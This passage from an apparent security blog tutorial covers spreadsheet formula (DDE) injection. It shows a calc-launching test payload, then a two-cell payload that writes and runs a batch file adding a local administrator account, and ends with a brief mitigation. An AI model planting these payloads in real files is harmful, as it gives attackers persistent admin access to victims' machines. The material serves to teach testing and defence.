src="https://cdn-images-1.medium.com/max/1024/1*ke-aT-rGMBrqbI0W9tOuiw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*oWVP76zzVwluk7uTGo6aqQ.png" /><figcaption>hurrah the calculator has opened</figcaption></figure><blockquote>So, this is the method by which you can validate the formula injection vulnerability.</blockquote><blockquote>Now, let’s dig in a bit more, let’s try and create a backdoor using the same technique. So, for that all we need is to modify the command a bit. So, in-place of <strong>=cmd|’ /C calc’!A0 </strong>we will insert following two commands in it</blockquote><blockquote><strong>=cmd|’ /C echo\net user &lt;username&gt; &lt;password&gt;/add&gt;xy.bat&amp;echo\net localgroup administrators &lt;username&gt;/add&gt;&gt;xy.bat’!A0<br>=cmd|’ /C xy.bat’!A0</strong></blockquote><blockquote>Basically this command firstly opens up command prompt and creates a local administrator with your desired credentials in the victims system. To make this happen easily we have created a bat file and executed the same.</blockquote><blockquote>Following screenshots will give you more idea about it.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/869/1*E9pZD2RHsYpGrATZKthr2Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*6PZvWtAEGJ5vNmUeV0nWbg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1022/1*uxv2QEz557xl6YU-oTnt5Q.png" /></figure><p>Easy right? Now, let me quickly tell you the probable fix for this vulnerability.</p><p><strong>Mitigation:</strong></p><blockquote>Mitigation mechanisms range from adding characters such as a single tick ‘ or a space before cells starting with an equals character = to HTMLEncoding special characters. However, consideration should be given to not break a legitimate user’s input-integrity.</blockquote><p>That’s all folks for now, hopefully this article gives you a good understanding of Formula Injection vulnerability and how to proceed with it. If you would like to add any more useful information or have any doubts please feel free to comment. Happy learning.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=58cda56f9d1e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>